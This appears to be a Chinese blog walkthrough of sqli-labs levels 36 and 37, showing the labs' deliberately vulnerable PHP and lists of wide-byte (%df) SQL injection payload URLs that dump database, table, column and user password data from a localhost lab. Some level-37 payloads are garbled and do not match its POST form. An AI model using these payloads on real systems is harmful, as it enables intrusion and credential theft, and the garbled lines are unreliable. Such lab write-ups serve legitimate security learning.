SQL注入之Sqli-labs系列第三十六关（基于宽字符逃逸GET注入）和三十七关（基于宽字节逃逸的POST注入）

时间：2021-07-17 03:04:33

0X1 查看源码

function check_quotes($string)

{

    $string= mysql_real_escape_string($string);

    return $string;

}

// take the variables

if(isset($_GET['id']))

{

$id=check_quotes($_GET['id']);

//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

从上面看到，这次采用了mysql_real_escape_string函数

0x2 函数讲解

（1）介绍

　　mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
（2）字符受影响：

　　　 \x00   \n   \r    \    '   "     \x1a

　　如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。

0x3开始注入

（1）由于源代码中并没有设置成UTF8，任然是gbk，所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的

mysql_query("SET NAMES gbk");

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

（2）开搞 先来个and 1=1 和1=2

SQL注入之Sqli-labs系列第三十六关（基于宽字符逃逸GET注入）和三十七关（基于宽字节逃逸的POST注入）

SQL注入之Sqli-labs系列第三十六关（基于宽字符逃逸GET注入）和三十七关（基于宽字节逃逸的POST注入）

其他的Payload如下 （部分童鞋在windows下会出现报错，还是因为apache的问题，具体怎么解决目前我还没找到好的方法，如果有已经解决的欢迎留下方法）

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 and1=1--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 and1=1--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 oder by 3--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=0%df%27 union select 1,2,3--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,database(),3--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1%df%27 union select 1,(select group_concat(username,password) from users),3--+

0x4 第三十七关

SQL注入之Sqli-labs系列第三十六关（基于宽字符逃逸GET注入）和三十七关（基于宽字节逃逸的POST注入）

这一关方式是一样的，只是将两个参数都进行了过滤，绕过方式同样34关同样

if(isset($_POST['uname']) && isset($_POST['passwd']))

{

    $uname1=$_POST['uname'];

    $passwd1=$_POST['passwd'];

        //echo "username before addslashes is :".$uname1 ."<br>";

        //echo "Input password before addslashes is : ".$passwd1. "<br>";

    //logging the connection parameters to a file for analysis.

    $fp=fopen('result.txt','a');

    fwrite($fp,'User Name:'.$uname1);

    fwrite($fp,'Password:'.$passwd1."\n");

    fclose($fp);

        $uname = mysql_real_escape_string($uname1);

        $passwd= mysql_real_escape_string($passwd1);

        //echo "username after addslashes is :".$uname ."<br>";

        //echo "Input password after addslashes is : ".$passwd;    

    // connectivity

    mysql_query("SET NAMES gbk");

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

payload：

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1�' and1=1--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1�' and1=1--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=1�' oder by 2--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,2--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,database()--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

http://localhost:81/sqli-labs-master/Less-37/index.php?id=0�' union select 1,(select group_concat(username,password) from users)--+

相关文章